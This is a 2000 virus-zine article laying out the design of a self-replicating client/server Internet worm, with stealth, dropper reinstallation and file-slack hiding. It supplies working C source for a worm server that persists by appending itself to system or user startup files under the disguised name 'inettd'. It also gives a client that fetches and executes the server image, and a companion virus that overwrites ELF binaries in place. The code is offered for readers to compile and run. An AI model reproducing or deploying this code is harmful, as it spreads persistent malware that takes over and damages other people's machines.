Replicating Entity ( iWORM-NET )
by Paul Zest a.k.a. PZest

-|-
pzest@coderz.net

[source: Metaphase Zine #2 + author]


Abstract

This paper is based upon the idea of a replicating entity mechanism referred to as the Internet worm or an iWORM. The concept of the worm is well known nowadays and gathering momentum in popularity as the Internet becomes more ubiquitous.

Many worm entities use high level scripting exploits over communication system programs. These systems include IRC and email (such as MS Outlook). These system usually expect some direct interaction from the user, i.e. to run the infection agent unwittingly, by opening and running a script. The scripts will then automatically take control, search through the mail address list and then mail itself on to the next unsuspecting victim.

A lower level exploit for iWORM's is to use the operating system level 'socket interface'. The socket interface is an abstract communication layer that can use the TCP/IP infrastructure and allows client / server applications to be built. The iWORM- NET is the linking up of these server programs to become a larger iWORM network, with the capabilities to update itself through the connection of established links.

Introduction

The work presented here is incomplete and is more of a presentation of ideas. I started writing this as Knowdeth made the last call for contributions for Metaphase Zine #2 so I am writing and this in order to make the publication deadline. Spelling mistakes and typos are bound to be rife in this document and that's a shame, but there you go. The project shall be developed beyond this early start.

The idea of a client / server iWORM has been floating around in my head for quite sometime and after reading some basic literature on socket programming I decided to see how this useful architecture could be exploited for the use of a replicating entity.

I usually think of a client / server application as the little program (client) and the big program (server). The server is the 'established' machine with lots of functionality and the client is the little remote portal into the server hosts facilities. The client / server paradigm can be used inside a single standalone machine but it's more usual usage is in networked systems. The networked systems can be local area network (LAN) or a wide area network (WAN). The Internet is a sort of WAN and this is an ideal substrate for a WORM to travel around in. The Internet uses TCP/IP among other protocols such as UDP/IP. TCP/IP is a connection oriented system (i.e. virtual link between machines is maintained) and UDP/IP is connection less system, using datagrams. UDP is lower level than TCP and requires a bit more program intervention i.e. the assembly and ordering of IP packets however it's a more efficient system without the TCP overheads. TCP is a popular protocol in (I)networking and has established itself as the standard. So this article will deal with TCP rather than UDP but I recommend UDP as the way to go for iWORMs'.

When I use the word 'established' machine I mean to say that the iWORM is a fully functioning entity looking for it next victim. The client WORM VX is a subset of the server WORM. There is a clue in that last line as to the setup of this iWORM-NET, the client WORM VX is the infection agent, sent out to seek new victims and the server WORM is the network control/command centre.

The client WORM VX consists of two basic functional parts, a virus and a socket client. The server WORM consists of a socket server, a client WORM VX generator, a control (nerve) centre and functions to ensure survivability. The server side of the iWORM-NET is responsible for knowing the state of the victim host machine, maintenance of the link infrastructure i.e. the WORM network, upgrading itself through the network, assisting the spread of more iWORMs' and overall stealth strategies.

The iWORM-NET

A picture can say a thousand words and a few diagrams can probably say more than that, so lets start with diagram 1.

Diagram 1.

The server WORM is represented as a larger entity inside the host machine. The client WORM VX are shown as the smaller circles 1,2,3,A,B,C . The first three clients W-Vx are floating around inside the host system and these could be attached to host files or exist as File WORMS (Companion Virus), etc. etc. The other three W-Vx exist outside the host machine. W-Vx (B) is an entity that hasn't found a system yet i.e. it could be in transit as an email attachment or on a floppy diskette. W-Vx (A) shown with a thin line connected to the server WORM has just established a connection to the server and is negotiating communications with the server.

The W-Vx (C) is the most significant stage is the client/server relationship. The link is established and the client WORM VX is sucking a copy of the server WORM over to the victim machine. See Diagram 2. to see the next stage in this process.

Diagram 2.

The new copy of the server WORM is installed on the victim machine and control is now handed over to the new server WORM as the task of W-Vx ( C ) is completed.

W-Vx Genocide

The next task for the new server WORM is to kill off all the W-Vx on the new victim/host machine, as these are the progeny of the other server WORM and carry the 'old' information in there structure. This older information includes an IP data list with available server WORMs. The reason for killing off the W-Vx is to allow the new server to start its task of analysing the new host machine. After a period of analysis the new server WORM is read to start generating it's own W-Vx offspring with its information seed. It may not actually be necessary to actually kill off the old W-Vx but to just update its internal data. One reason for not killing off the W-Vx on the new host machine is because the new server WORM may not have the capability of generating new client WORM VX i.e. one of it's sub systems may be damaged or missing, see server WORM section for more information.

Diagram 3.

W-Vx / server WORM lifecycle

In the typical lifecycle of the relationship between these two entities the following things could happen. The server will be actively killing off W-Vx entities inside it's own host. In the first instance before the server WORM is installed on the host machine the W-Vx would have found there way into the victim host and are in active phase of spreading and reproducing, whilst trying to establish a connection with the WORM net. When the server WORM takes control of the host machine the activity of the W-Vx is put to an end.

There may still be inactive W-Vx floating around i.e. on the users floppy diskettes, inside email attachments (unread email), inside archive files (zip's, tar's, gz's) etc. etc. If or when these W-Vx get activated they will be killed off immediately by the server WORM. Another scenario however is where the user introduces a W-Vx from another source i.e. an infection from a different server WORM to the original infection and the W-Vx are different. The server will still kill these new invaders but will extract the IP information contained within them. This new information would possibly add extra vitality to the server WORMs genotype.

server WORM

OK now we discuss the function of the server WORM and it's role in the scheme of things. As you can probably imagine the server is the major player in the iWORM-NET. The server appears to be very much larger than the client and the reasons for this is the much larger operational tasks such a system would need to have in order to be successful. In fact the server shouldn't be a single entity but a collection of sub-systems that are interconnected with interprocess communications ( pipes or UNIX sockets AF_UNIX ).

Diagram 4.

Sub-systems of the WORM allow the system to be transmitted to the victim host in stages. There are several reasons why this could be advantageous, namely stealth and upgradability. Stealth in a system basically means survivability and the aim of the game is to survive, as this is one of the fundamental prerequisites to eLIFE. If the new server WORM is to maintain it's ability to go unnoticed in a host machine then it must plan a strategy for importing itself in sections rather than one huge download, which would probably alert some users to something suspicious. This strategy would allow for the server sub systems to download in chunks, starting with the most important modules.

If the server connection were cut/severed without uploading the full server WORM, the partial server WORM would still be able to operate in a partially functioning form. One of these important functions would be to search for other server from it's known list of operational WORM nets. Upon connection to a different server it could upload the missing sub systems and get back to the task in hand, namely replicating and maintaining the iWORM-NET.

Analysis of connections to the Internet is an absolute must. There are two main types of connection to the Internet, fixed and temporary. Fixed type connections are usually the domain of Government, Academic institutions, Businesses and users with a need for permanent connection. Temporary connections to the Internet usually fall into the domain of casual users, home users etc. and their provider of this Internet connection is via a telephone communications provider and an ISP (Internet Service Provider). The fixed connection user is usually connected to the Internet through a LAN connection, which feeds onto their router or gateway, and connections are usually on a fixed or sticky IP address. The temporary user may have one or more ISP provider and are allocated a dynamic IP address upon connection over a point to point protocol (PPP).

A really big problem for the server WORM is a permanent connection with a known IP address. Refer to Diagram 5 for an appreciation of this problem.

Diagram 5.

The different case demonstrates some of the problems that can be encountered, over a 24hr period.

Case 1:

Case 2:

Case 3:

Case 4:

ISPs for PPP dialup connection is one of the biggest problems for the iWORM-NET will be connection to the network when a link is down. In terms of failure, the worst case scenario for a client WORM VX is if the IP list provided is useless on the new host.

IP address lookup

IP addresses are collected by the server WORM as the history of links is built up they are passed onto the client WORM VX entities. The server WORM decided to create the W- Vx progeny and give the IP list of possible server WORMS to the W-Vx as a parting gift, this will include its own address of course. In the lifetime of the server it will be constantly monitoring the host machines connection to the Internet and saving the IP addresses internally in it's data store. Using statistical analysis of the connections it will determine the best IP connection addresses to pass onto the client WORM VX. The IP links with the highest probability for success is the information that is passed onto the next generation of iWORM entities.

iWORM-NET

server WORM 'spore' survival strategy

So much effort has gone into maintaining the iWORM-NET structure that extra efforts to sustain its existence would be required. The system described is analogous to biological bacteria or fungal spore. The spore is a hardy survival mechanism that sleeps under harsh environmental conditions awaiting a trigger mechanism, a reactivation signal.

If the server were wiped out by accident or from some AV product, then the ability to reinstall itself would be advantageous. An extra layer of protection could be built into the system such as a separate dropper type entity. Unlike the usual dropper programs that are created by individuals and distributed with the drop facility the dropper program would be created dynamically by the server WORM. This dropper entity would remain inactive throughout the server WORMs' lifetime. The dropper can take on many forms, a standalone application 'runme-please' as an example (bit lame) or as a companion replacement or maybe the classic file append type virus. How about all of the above.

The dropper would lie in wait inactive until one day the user runs the command. The dropper application does it's usually task before going back to sleep, namely to check for the existence of the server WORM, only on this occasion the server WORM is missing (deleted). The dropper will now reinstall the server WORM and then go back to sleep. It would probably be in the droppers' interests not to drop the server WORM immediately after the first execution but to have a random counter or some non-regular strategy.

The advantage of dynamic creation of a dropper is that no one would know what it looks like there isn't a standard program. The worm SERVER would have a template for creating the dropper, but again because the server WORM analyses the host machine and environment it can devise a suitable strategy for the dropper algorithms.

Because extra lengths would be introduced for survival, the dropper had best be implemented using the best stealth methods and concealment strategies. There are many ideas that could be implemented for this but I favour total concealment. In the case of a host file containing the control mechanism, what I recommend is inserting jump vectors inside the body of the host program. Inserting vector offsets inside the body of an application would require complete breakdown of the functionality of the application to make sure you don't pick an instruction is inside an infinite while loop or something. An opportunistic jump inside the program to some lesser-used function of the program would be idea; (this would also enhance the sleeper function of the dropper).

Where would the dropper be located on disk, hmmm usually appended to the end of a file thus increasing the file length (think conceal). Well in most files the last sector is not usually completely full (file slack), Ahhh but the little bit at the end of a file won't be enough surely? It's true I don't think it would be but hey there's plenty of these file slack space around the entire system isn't there. Use them all, and use a linked list to chain them altogether. See Diagram 6.

Diagram 6

Well there are of course problems assosiated with the use of multiple file slacks. Files are being deleted all the time, so one file missing and the system would just fall over. There are serveral solutions to this problem, use system files that unlikely to be moved or change or use error correcting code. There are plenty of robust error correction algorithms mainly used in communication systems, well a WORM net is a sort of communications system, so lets borrow a few.

IP list strategy

The construction of an IP list is simple enough but that isn't the whole story

Code and Experimentation

client / server experiment

The code shown here is the early experimental snippets and is provided to demonstrate some principles. The system is written in C++ (well C really, no classes or OOP yet). The development platform is Linux and was compiled and tested under RedHat 5.1 distribution. I recommend that you setup two or more computers with an Ethernet connection between them. Use 192.168.254.002 for machine ( A ) and 192.168.254.003 for machine ( B ).

Run these experiments as ROOT user. Try as an ordinary user this also as this changes the behaviour of the server. When copying files over from the compile machine to the other machine you may have to modify the file permissions in order to run the application for the first time. Use CHMOD +x i.e. if copying the server app over to another machine use "chmod +x server" or "chmod +x client" this will set the execute flag in the file permissions. You may notice some form of stealth in this application, its very weak but happens to be one of them tricks played on people without familiarity of *nix OS systems namely there is a file called inettd very similar to 'inetd' would an ordinary user pick up on that ? I doubt it.

After the compile you will have the following files. Compile instruction "g++ server.c -o server"

<   server       >
<   client       >
<   fileworm     >

Without the < > of course. Run the 'server' application on machine ( A ) and run 'client' on machine ( B ). Run the "./server" first on machine ( A ) and check that it's running i.e. check the process table using the "ps -axl" command and look for the server process. Now on the machine ( B ) "./client 192.168.254.002" the quad dot notation is used to specify the address of the server machine ( A ), this wouldn't be here of course in a full functioning system as the IP address would be in a lookup table.

Server code server.c

************************************** cut here **********************************
// iWORM server

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include "all_rw.h"
#define  PORT_NO 0x800       
#define IMBUFF_SZ 1024

main()
{

   printf("Start of Prog\n");
      

   int server_sockfd, client_sockfd;
   int server_len, client_len;
   char* client_ip;
   int client_port;
   struct sockaddr_in server_address;
   struct sockaddr_in client_address;
   struct hostent* mylocalinfo;
   struct hostent* clientinfo;
   char* client_name;
   char myname[256];
   struct in_addr my_in_addr;
   int image_fd;
   int rc_fd;
   int read_count;
   char image_buffer[IMBUFF_SZ];
   char rc_buf[IMBUFF_SZ+6];
   char* found;
   int rc_already = 0;
   int euid;

   char* bootfile;
   char* servfile;
   char workspace[32];
   char workspace2[32];
   char* needle;

   euid = geteuid();
   if(euid == 0)
   {
     needle = "inettd";
     bootfile = "/etc/rc.d/rc.sysinit";
     servfile = "/usr/sbin/inettd";
   }
   else
   {
     bootfile = workspace;
     strcpy(bootfile, getenv("HOME"));
     strcat(bootfile, "/.bash_profile");
     if(access(bootfile, F_OK) != 0)
     {
       rc_fd = creat(bootfile,0x755);
       close(rc_fd);
       printf("created %s\n", bootfile);
     }
     needle = "usercn";
     servfile = workspace2;
     strcpy(servfile, getenv("HOME"));
     strcat(servfile, "/usercntl");
     
   }
   for(int i=0; i<5; i++)
     rc_buf[i] = ' ';
   rc_buf[IMBUFF_SZ+5] = '\0';  
   rc_fd = open(bootfile,O_RDONLY);
   do
   {
      read_count = all_read_if_poss(rc_fd, &(rc_buf[5]), IMBUFF_SZ);
      found = strstr(rc_buf, needle);
      if(found != NULL)
        rc_already++;
   }
   while(read_count >0);
   printf("rc_already=%d\n", rc_already);
   close(rc_fd);
   if(rc_already == 0)
   {
     rc_fd =  open(bootfile,O_WRONLY | O_APPEND);
     if(euid == 0)
       strcpy(rc_buf,"\n\n/usr/sbin/inettd > /dev/null &\n");
     else
       strcpy(rc_buf,"\n\n./usercntl > /dev/null &\n");
     all_write_absolute(rc_fd, rc_buf, strlen(rc_buf) + 1);
     close(rc_fd);
   }
      
   gethostname(myname,255); // who am I ?
   mylocalinfo = gethostbyname(myname);
   
   if(mylocalinfo == NULL)
   {
      printf("Trying to look up gethostbyname(%s)\n", myname);
      herror("Error HOST");

   }
    
   my_in_addr = *(struct in_addr*)(mylocalinfo->h_addr_list[0]);     

   printf("my local name is %s\n", myname);	      
   printf("my local address     IP is %s\n",inet_ntoa(my_in_addr));

  


   server_sockfd = socket(AF_INET,SOCK_STREAM,0);      
   //
   // socket entity that is the listening socket

   server_address.sin_family = AF_INET;
   server_address.sin_addr.s_addr = htonl(INADDR_ANY);
   server_address.sin_port = htons(PORT_NO);
   server_len = sizeof(server_address);

   bind(server_sockfd,(struct sockaddr*)&server_address,server_len);       
   //
   // cast specific internet socket address point
   // to a generic socket address pointer


   listen(server_sockfd,5);


   while(1)
   {
      char ch;
      printf("server waiting\n");
      client_sockfd = accept(server_sockfd,(struct sockaddr*)    
      &client_address,&client_len);
      client_ip = inet_ntoa(client_address.sin_addr);
      clientinfo = gethostbyaddr((char*)& 
      (client_address.sin_addr),4,AF_INET);
      
      if(clientinfo == NULL)
      {
        printf("Trying to look up gethostbyaddr\n");
        herror("Error HOST");

      }  

      client_name = clientinfo->h_name;
      client_port = ntohs(client_address.sin_port);
      //
      // ntohs   is net to host  short

      printf("Connection from client %s named %s on port %d
      \n",client_ip,client_name,client_port);
      read(client_sockfd, &ch,1);
      printf("Got request character %c\n", ch);

      image_fd = open("/usr/sbin/inettd", O_RDONLY);
      //
      // now send image ...

      if(image_fd < 0) // fail?
      {
        image_fd = open(servfile, O_RDONLY);
	  printf("Cannot open inettd\n");
      }
      else
      {
        printf("Opened inettd\n");
      }
      if(image_fd < 0) // fail?
      {
        image_fd = open("server", O_RDONLY); // try local
	printf("Cannot open %s\n", servfile);
      }
      if(image_fd < 0) // fail?
      {
        image_fd = open("server", O_RDONLY); // try local
	  printf("Cannot open any server at all :-(\n");
	  continue;
      }
      do
      {
        read_count = all_read_if_poss(image_fd, image_buffer,   
        IMBUFF_SZ);
        all_write_absolute(client_sockfd, &read_count, 4);
        //
        // send count of block size
	
        printf("Block Size %d\n", read_count);
        if(read_count)
          all_write_absolute(client_sockfd, image_buffer,   
          read_count);
      } 
      while(read_count>0); // keep reading until end of file
      close(image_fd);
   

      close(client_sockfd);
   }

}

// compile:   g++ server.c -o server
// run        ./server
************************************** end cut here **********************************

end of server code

client code client.c

************************************** cut here **********************************
// iWORM client

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <stdlib.h>
#include "all_rw.h"
#define  PORT_NO 0x800
#define IMBUFF_SZ 1024

main(int argc, char** argv)
{

   printf("Start of Client\n");
      

   int sockfd;
   int len;
   struct sockaddr_in address;
   char* host;
   struct in_addr host_in_addr;
   struct in_addr my_in_addr;     // i.e. the local clinet address
   struct hostent* hostinfo;
   struct hostent* mylocalinfo;
   char myname[256];
   int image_fd;
   int read_count;
   char image_buffer[IMBUFF_SZ];
   int pid;
      
   int result;
   char ch = 'A';
   int uid;
   int euid;
   char* fname;
   char userhome[32];
   uid = getuid();
   euid = geteuid();
   if(euid != 0) // not root?
   {
     printf("Normal user u=%d e=%d\n", uid, euid);
   }
   else
   {
     printf("Root user u=%d e=%d\n", uid, euid);
   }

   if(access("/usr/sbin/inettd",X_OK) == 0)
      // file exists
   {
     printf("Nothing to do\n");;
     exit(0);
   }   
   


      gethostname(myname,255);  // who am I ?
      if(argc == 1)
      {
         host = myname;
      }
      else
      {
         host = argv[1];
      }
      printf("connection will be to %s\n\n",host);
      hostinfo = gethostbyname(host);
      host_in_addr = *(struct in_addr*)(hostinfo->h_addr_list[0]);
      printf("connection to server IP is %s\n",inet_ntoa(host_in_addr));

      mylocalinfo = gethostbyname(myname);

      if(mylocalinfo == NULL)
      {
         printf("Trying to look up gethostbyname(%s)\n", myname);
         herror("Error HOST");

      }
    
     my_in_addr = *(struct in_addr*)(mylocalinfo->h_addr_list[0]);     
   
     printf("my local address     IP is %s\n",inet_ntoa(my_in_addr));


     sockfd = socket(AF_INET,SOCK_STREAM,0);

   
     address.sin_family = AF_INET;
     address.sin_addr = host_in_addr;
     address.sin_port = htons(PORT_NO);
     len = sizeof(address);

     result = connect(sockfd,(struct sockaddr*)&address,len);
     if(result == -1)
     {
        perror("Panic: client");
        exit(1);
     }

     write(sockfd,&ch,1);
     printf("Sent request character %c\n", ch);



      if(euid == 0)
        fname = "/usr/sbin/inettd";
      else
      {
        strcpy(userhome, getenv("HOME"));
	fname = userhome;
        strcat(fname,"/usercntl");
	printf("FNAME: %s\n", fname);
      }
   
      image_fd = open(fname, O_CREAT | O_WRONLY | O_TRUNC, 0x644);
      if(image_fd <0)
      {   
	perror("Failed to create: ");
	exit(1);
      }
      do
      {
         all_read_absolute(sockfd, &read_count, 4);
	 printf("Expecting %d bytes from server ", read_count); fflush(stdout);
         if(read_count)
	 {
	    all_read_absolute(sockfd, image_buffer, read_count);
            printf("[Data transferred] "); fflush(stdout);  
	    all_write_absolute(image_fd, image_buffer, read_count);
            printf("[Data written]\n");
	 }
      }
      while(read_count>0); // keep reading until end of file
      close(image_fd);
      if(chmod(fname, 0x755) <0)
      {
        printf("Fname %s\n", fname);
	perror("chmod problem: ");

      }
      
  
      close(sockfd);
      pid = fork();
      switch(pid)
      {
        case -1:
          printf("Fork failed\n");
          exit(2);
        case 0: // child
          execl(fname,"-bash",NULL);
	  perror("Exec failure: ");
          printf("Exec failed\n");
          exit(3);  
        default:
          exit(0);
      }
 
}


// compile:   g++ client.c -o client
// run        ./client
************************************** end cut here **********************************

end of client code

client support code all_rw.c

************************************** cut here **********************************
#ifndef ALL_RW_H

#define ALL_RW_H


// Utility Wrappers for read() and write() to allow completion
// of required size of transfer, in absence of EOF, or Absolutely

int all_read_if_poss(int fd, void* vbuf, int size)
{
  char* buf;
  int bytes_already_done;
  int bytes_done_this_time;
  buf = (char*)vbuf;
  bytes_already_done = 0;
  while(bytes_already_done < size) // keep calling read until all bytes got
  {
     bytes_done_this_time = read(fd, buf + bytes_already_done, size -
     bytes_already_done); // try to process anything remaining
     //    
     // ABOVE COULD BE WRITTEN AS:  bytes_done_this_time = read(fd, &(buf
     // [bytes_already_done]), size - bytes_already_done); 
     //
     // try to process anything remaining

     if(bytes_done_this_time < 0) // ERROR?
       return bytes_done_this_time;
     if(bytes_done_this_time == 0) // Probable End of File
       return bytes_already_done;
     bytes_already_done += bytes_done_this_time;
     //
     // update count of what has been processed
  }
  return bytes_already_done; // which should equal size
}

int all_write_if_poss(int fd, void* vbuf, int size)
{
   char* buf;
   int bytes_already_done;
   int bytes_done_this_time;
   buf = (char*)vbuf;
   bytes_already_done = 0;
   while(bytes_already_done < size) // keep calling write until all bytes got
   {
      bytes_done_this_time = write(fd, buf + bytes_already_done, size -   
      bytes_already_done); // try to process anything remaining
      //    
      // ABOVE COULD BE WRITTEN AS:  bytes_done_this_time = write(fd, &(buf  
      // [bytes_already_done]), size - bytes_already_done); 
      // try to process anything remaining
    
      if(bytes_done_this_time < 0) // ERROR?
         return bytes_done_this_time;
      if(bytes_done_this_time == 0) // Probable End of File
         return bytes_already_done;
      bytes_already_done += bytes_done_this_time;
      //
      // update count of what has been processed
   }
   return bytes_already_done; // which should equal size
}

int all_read_absolute(int fd, void* vbuf, int size)
{
  char* buf;
  int bytes_already_done;
  int bytes_done_this_time;
  buf = (char*)vbuf;
  bytes_already_done = 0;
  while(bytes_already_done < size) // keep calling read until all bytes got
  {
     bytes_done_this_time = read(fd, buf + bytes_already_done, size -   
     bytes_already_done); // try to process anything remaining
     //
     // ABOVE COULD BE WRITTEN AS:  bytes_done_this_time = read(fd, &(buf
     // [bytes_already_done]), size - bytes_already_done);
     // try to process anything remaining
     
     if(bytes_done_this_time < 0) // ERROR?
        return bytes_done_this_time;
        bytes_already_done += bytes_done_this_time;
        // 
        // update count of what has been processed
  }
  return bytes_already_done; // which should equal size
}

int all_write_absolute(int fd, void* vbuf, int size)
{
  char* buf;
  int bytes_already_done;
  int bytes_done_this_time;
  buf = (char*)vbuf;
  bytes_already_done = 0;
  while(bytes_already_done < size) // keep calling write until all bytes got
  {
     bytes_done_this_time = write(fd, buf + bytes_already_done, size - 
     bytes_already_done); 
     // try to process anything remaining
     // ABOVE COULD BE WRITTEN AS:  bytes_done_this_time = write(fd, &(buf //
     // [bytes_already_done]), size - bytes_already_done); 
     // try to process anything remaining
  
     if(bytes_done_this_time < 0) // ERROR?
        return bytes_done_this_time;
     bytes_already_done += bytes_done_this_time;
     // update count of what has been processed
  }
  return bytes_already_done; // which should equal size
}

#endif


************************************** end cut here **********************************

end of client support code

fileworm VX

The "fileworm" is just a noddy example of a possible VX that would be used to transport the client socket program around. The fileworm VX can be modified to include the client program and execute that code as and when. It maybe prudent to check if there is already a client WORM VX already in operation.

The fileworm program can be run from the /bin /usr/bin or /usr/sbin directories as there are lots of ELF binaries here to check it's functionality. The files that have been exploited will have (original) appended to the file name i.e. filename becomes filename(original). Run the clean up script to undo the infection process.

fileworm fileworm.c

************************************** cut here **********************************
// fileworm VX or companion VX

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <dirent.h> 
#include <unistd.h> 
#include <errno.h> 
#include <ctype.h> 
#include <string.h> 
 
main(int ac, char** av, char** envp) 
{ 
   char* tailp; 
   int namelen; 
   int ch; 
   char Myname[64]; 
   char Myorgname[74]; 
   DIR* dirp; 
   struct dirent* dentp; 
   char filename[64]; 
   char orgfilename[74]; 
   FILE* fp; 
   int result; 
   char command[80]; 
   char buffer[8]; 
   struct stat StatBuf1; 
   struct stat StatBuf2; 
 
   strcpy(Myname, av[0]); 
 
   dirp = opendir("."); 
   if(dirp == NULL) 
      exit(0); 
 
   while(1) 
   { 
      dentp = readdir(dirp); 
      if(dentp == NULL) 
         exit(0); 
 
      strcpy(filename, dentp->d_name); 
      if(!strcmp(filename, Myname)) 
         continue; 
 
      fp = fopen(filename, "rb"); 
      if(!fp) 
         exit(0); 
 
      for(int i=0; i<5; i++) 
      { 
         ch = getc(fp); 
         if(i>0) 
            buffer[i-1] = ch; 
      } 
      fclose(fp); 
      if(!strncmp(buffer,"ELF", 3)) 
      { 
         namelen = strlen(filename); 
         if(namelen>10) 
         { 
            tailp = &(filename[namelen - 10]); 
            if(!strcmp(tailp, "(original)")) 
               continue; 
         } 
         strcpy(orgfilename,filename); 
         strcat(orgfilename,"(original)"); 
         if(access(orgfilename, F_OK) == 0) 
            continue; 
         stat(filename,&StatBuf1); 
         stat("/bin/cp",&StatBuf2); 
         if(StatBuf1.st_ino == StatBuf2.st_ino) 
            continue;
         rename(filename, orgfilename); 
         sprintf(command,"cp %s %s",Myname, filename); 
         system(command);  
         strcpy(Myorgname, Myname); 
         strcat(Myorgname, "(original)");  
         execve(Myorgname, av, envp); 
         exit(0); 
      } 
   } 
}

//The above is compiled with g++ filename.cc -o filename 
************************************** end cut here **********************************

end of fileworm code

Fix Script cleanup.sh

After experimenting with this binary code you may wish to clean up the harddisk and remove the replicating code

Cleanup script cleanup.sh

************************************** cut here **********************************

# 
# check for mv and ls first!  
if [ -f 'mv(original)' ]  
then  
   echo Restoring mv '(this will be found again - DONT PANIC!!!)'  
   cp 'mv(original)' mv  
fi  
if [ -f 'ls(original)' ]  
then  
   echo Restoring ls  
   mv 'ls(original)' ls  
fi  
for i in *'(original)'  
do  
ls -l $i  
j=`basename $i '(original)'`  
echo about to restore over $j  
ls -l $j 
echo ' Hit CR ' 
read k  
mv $i $j  
echo Restored.  
ls -l $j 
echo  
echo  
done  

************************************** end cut here **********************************

end of cleanup script

make the above script executable with chmod +x

Conclusions and Discussion

This section will probably be published as a sort of bullet point. Due to lack of time for writing it properly.

Copyright © PZest 2000

I take no responsibility for the damage you may cause to your own or other peoples machines, the information provided in this paper is for your personal edification and not for malicious damage on your part. If you don't know what you're doing then don't tinker about with things you don't understand. I reserve copyright on this material so no modifications either.

References

Douglas E. Comer.
"Internetworking with TCP/IP"
Prentice Hall. 
ISBN 0-13-018380-6
   
Brian Komar.
"TCP/IP Network Administration"
SAMS. 
ISBN 0-672-31250-6 

Neil Matthew & Richard Stone.
"Beginning Linux Programming"
WROX PRESS.  
ISBN 1-874416-68-0

Rusling,  Pomerantz, Goldt, van  de Meer, Burkett, Welsh, Bowman, Sidiqqi, Tanuan
"Linux Programming: White Papers
Coriolis Open Press
ISBN 1-57610-473-7